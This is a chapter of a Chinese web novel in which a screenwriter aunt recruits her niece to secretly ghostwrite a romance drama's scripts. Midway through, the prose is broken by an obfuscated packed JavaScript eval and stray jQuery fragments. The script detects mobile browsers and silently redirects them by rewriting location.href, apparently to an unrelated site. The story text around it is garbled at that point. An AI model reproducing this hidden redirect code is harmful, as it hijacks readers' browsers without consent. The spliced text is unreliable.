不到一周，许者清姨妈提过的那个霸总大项目，便正式召开了启动会。
某酒店的多媒体中心里，投影幕布亮着，一行字在昏暗中格外醒目：“天下能讲的故事，就那么几个。”
瞰田视频的副总冯总站在前方，激光笔的红点在那行字上停留。
会议桌两侧坐满了人——制片、导演、编剧、平台方。
稀稀拉拉的掌声响起，空气里飘着咖啡香与一种紧绷的期待。
影视圈遇冷，资本却在寻找出路。为共担风险、放大效益，他们选中了经典不衰的题材：霸总。
“几百年前让人心动的东西，今天依然让人心动。”
冯总翻动PPT，画面变为各种数据图表，“变的只是表面的故事和外壳，但核心的情绪体验——渴望被爱、享受被爱——亘古不变。”
蓝图在她口中展开：围绕霸总IP，打造剧集、漫画、有声书乃至游戏的矩阵。投资规模、预期回报、市场分析的数字在屏幕上滚动。
会议桌后方，被平台力捧的霸总代言人邬陈奕和王蓝河也在场。
两人默然对视一眼，未发一言。
许者清的姨妈葛颖超坐在前排。
她约莫四十多岁，留着一头利落平头，硕大的民族风流苏耳环悬在耳畔，一身剪裁特别的西装，下身带着飘逸的裙摆，衬得她干练里掺着几分不羁。
此时，她脸上却掠过一丝不易察觉的鄙夷，轻轻哼了一声。
PPT讲完，冯总忽然跳过流程，未经铺垫便请总编剧葛颖超讲话。
葛颖超毫不发怵，起身走到冯总身侧，双手撑在桌沿，流苏耳环随着动作微荡。
“我信奉一句话，”她的声音掷地有声，“故事是什么，很重要。但怎么讲故事，更重要！”
她扫视全场，“到今天下午为止，这项目还是一根毛都没有。但我希望——它能被我们好好养育，变得浑身是毛。”
邬陈奕微微侧身，低声对王蓝河道：“我喜欢这位编剧。”
散会后，邬陈奕拉着王蓝河去找葛颖超，知道对方干脆，他便单刀直入：“葛老师，我演技底子薄，现在演戏主要靠理解角色，才能有把握……”
葛颖超抱着手臂，脸上带着些不耐烦。
王蓝河在一旁解释，话说得小心：“他需要比较长的准备时间……这项目对我们是非常关键的转型机会。您看……”
话到一半他停住，心里掂量着分寸——既要让葛老师愿意帮忙，又不能说得太透，免得暴露邬陈奕演技上的短板，反让对方看轻了合作的价值。
葛颖超瞥了他一眼，眼神里带着催促。
短暂的安静里，邬陈奕自然地接过了话，语气诚恳：“葛老师，如果可能的话，我想在您前期不忙的时候，或者人物雏形出来之后，能和您保持沟通，多了解这个人物是怎么诞生的。您看……可以吗？”
葛颖超听完，脸上的表情松了些。“好，没问题。”
她答得简洁，说完就转身走了，下楼坐进车里，第一时间拨通了许者清的电话。
许者清在财务室，看到来电显示，找个借口，溜到楼梯间。
“清清，项目定了。”葛颖超利落告知，“你之前说存一百万作为提前退休基金，存多少了？”
许者清无奈笑道：“还差一半。”
“不错，小丫头可以。“抓住这个项目，另一半肯定就有了。之前你帮我琢磨剧本，算我的小枪手，但公司不让我加你名字。这次，你自己争取。”
许者清的心跳快了一拍：“怎么争取？”
“我发你项目资料。你写篇小说。公司会找好几个人写，谁的故事营销效果好，谁就能参与编剧，获得署名权。”
“小说？为什么不直接写剧本？”
“咳，影视公司基本操作。先用小说确定世界观，在市场上探了一下路看反应，再改剧本。”转向灯“哒哒”响，“先这样。”
之后的时间，许者清完全不在上班状态。
趁王经理不在，她偷偷点开策划书，只扫了一眼核心要求，便两眼一黑：对方要的不只是故事，更是一种能让人“沉浸式体验被爱”的情感产品。
通篇都是正确的废话，要求则极为笼统：“新颖又不脱离经典”、“浪漫又不失现实感”、“霸道又要让人心疼”。
林林总总，唯一明确的事只有一件：故事必须围绕“霸总”。
而除了《傲慢与偏见》里的达西先生，许者清从不觉得任何霸总真正迷人。
那些角色大多把控制欲包装成深情，把占有欲美化成专一。
真正的霸总应该是什么样？
为此，回到出租屋的她甚至点开邬陈奕演的短剧。
起初她挑剔：逻辑不通，人设崩塌，演技浮夸……
但短剧节奏太快，三分钟一集，冲突密集，她不知不觉沉浸进去，刷了一个多小时。
期间，她暂停视频，看着屏幕上邬陈奕那张被特写放大的脸。
奇怪。
他的样貌虽说和高中时似乎有些微不同，但作为演员，微调容貌也算常事，可以理解。
可一个人的气质，也会随着时间变化这么大吗？
剧中的他，与高中时很不一样。
那时的邬陈奕是张扬的，是那种站在台上唱歌告白被拒后，还能笑着走下台的少年。
而屏幕里的他，眼中却带着一层挥之不去的孤独。
回忆和疑问一股脑涌了上来。
许者清甩甩头——眼下有更重要的事要做。
接下来的几个月，为了写好那篇小说，许者清的生活彻底进入了双线轨道：白天在财务室处理报表，夜晚回到出租屋构建另一个世界。
她连零碎时间也不放过，等车、坐车、走路，所有空隙都被填满。
她在地铁上用手机不断向AI提问：「霸总为什么能火？」
「当代女性对亲密关系的核心需求是什么？」
「怎么写出不油腻的霸总？」
那些日子，她完全浸在创作里。
一转眼，寒冬已至。
琦星商场门口的梧桐树树叶落尽，只剩秃枝指向灰白天空。
年底临近，春节的气息弥漫。
商场挂起红灯笼，超市循环播放着恭喜发财，同事们讨论着抢票回家。
小说终于写完，许者清第一时间发给了姨妈。
等待回复的那几天，她坐立不安，宛如等待一场审判。
姨妈终于回复，说她写得很好，“人物有厚度，情感有层次，最重要的是——不油腻。”
许者清心里的大石落地，她仿佛能看到，自己名字出现在编剧栏后的样子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591062|205463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然而，生活的剧本总不按预想的走向。
许者清没等来正式的合作邀请，却先等来了亲自上门的姨妈。
为了当面说清原委，葛颖超专程从外地赶了过来，径直来到她公司楼下，沉默地等着她下班。
两人在商场B1新开的云南菜馆坐下。
葛颖超化愤怒为食欲，拿起菜单，从头点到尾，几乎把招牌菜全勾了一遍。
“小姨妈，怎么了？”许者清问得小心翼翼。
葛颖超放下筷子，叹息一声，把翻腾的情绪压下：“我就想不通，一个以贩卖故事为核心的产业，这么不尊重编剧是几个意思。那些人老想着越俎代庖……真是太恶心人了。”
她咬了咬牙，没把后面更重的话说出口，但屈辱与愤怒已写在脸上。
许者清大致猜到了。
资本的蛮横、外行指导内行的荒谬，姨妈抱怨过不止一次。
但这次究竟发生了什么，能把向来飒爽的姨妈气到亲自跑来……她还不清楚。
“项目黄了？”
“黄倒没黄。”葛颖超看着她，眼里愧疚更深，“但是你的小说被毙了。”
许者清一愣。
“不止你一个。他们找了好几个人写，结果一个都没看上，把这套方案全放弃了。现在又说‘直接进剧本阶段，小说太慢了’。而且我估计这些小说上的创意，他们是要用的……这不是不要脸吗？”
许者清喉咙发紧。
几个月的心血，一句“不要了”就打发了。
葛颖超看着她黯淡的眼神，忽然换上一种近乎“邪魅”的笑容。
“没事，”声音变得轻快，“姨妈给你玩个更高级的。回回都是他们玩我，这次，换我玩他们。”
“？”
“资本根本就不尊重创作者。我只是他们商业的一环，他们那套‘爆款公式’什么大数据拉片、竞品分析、平台偏好打分，一堆PPT堆出来的东西。根本没人愿意沉下心看剧本里人为什么哭、为什么笑。我写得再好，也会因为要捧哪个明星之类的破事，被改得面目全非。谁写都一样。”
葛颖超压低嗓音，“这次咱俩唱个双簧。我在台前当傀儡总编剧。剧本相关的一切，全由你负责。你写成什么样就什么样，我就把你写的，说成是我写的。当然，我不是说你写的不好的意思啊，反正你懂得……税后酬劳都给你。”
许者清第一反应是拒绝。
这也……太疯狂了。
然而就在这时，她看见了姨妈脸上那熟悉的光芒，那种被不公激出的侠气与锋利，是她从小崇拜又向往的模样。
此刻，这光芒不仅驱散了她的怯意，更点燃了一种想与之并肩的冲动。
她想起自己小说里，写给霸总的一句台词：“一定要成为制定规则的人，如果暂时不行，那就变相去掌控。”
也想起那还差一半的退休基金，和头顶悬着的裁员压力。
对姨妈的追随，和现实的推力，此时此刻在她心里合为一处。
所有念头推着她向前。
她听见自己清晰的声音：“好。”
点头，迎上葛颖超的目光，“姨妈你都不怕，我也不怕。”
葛颖超笑得肩膀乱颤，畅怀不已，夹了块汽锅鸡放进她碗里：“这就对了！吃饱了，才有力气玩转这人间。”